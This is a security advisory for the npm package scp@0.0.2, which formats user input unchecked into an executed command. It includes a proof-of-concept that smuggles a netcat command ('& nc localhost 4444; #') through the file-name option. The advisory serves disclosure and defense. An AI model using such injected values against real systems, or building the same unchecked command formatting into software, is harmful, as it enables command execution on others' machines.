scp@0.0.2 vulnerabilities

remote file copy wrapper

Direct Vulnerabilities

Known vulnerabilities in the scp package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
Arbitrary Command Injection

Affected versions of this package are vulnerable to Arbitrary Command Injection. The issue occurs because user input is formatted inside a command that will be executed without any checks.

PoC By Snyk Security Team

var scp = require('scp');

var options = {
    file: '& nc localhost 4444; #',
    user: 'username',
    host: 'myServer',
    port: '20',
    path: '~'
}

scp.send(options, function (err) {
    if (err) console.log(err);
    else console.log('File transferred.');
});

How to fix Arbitrary Command Injection?

There is no fixed version for scp.

*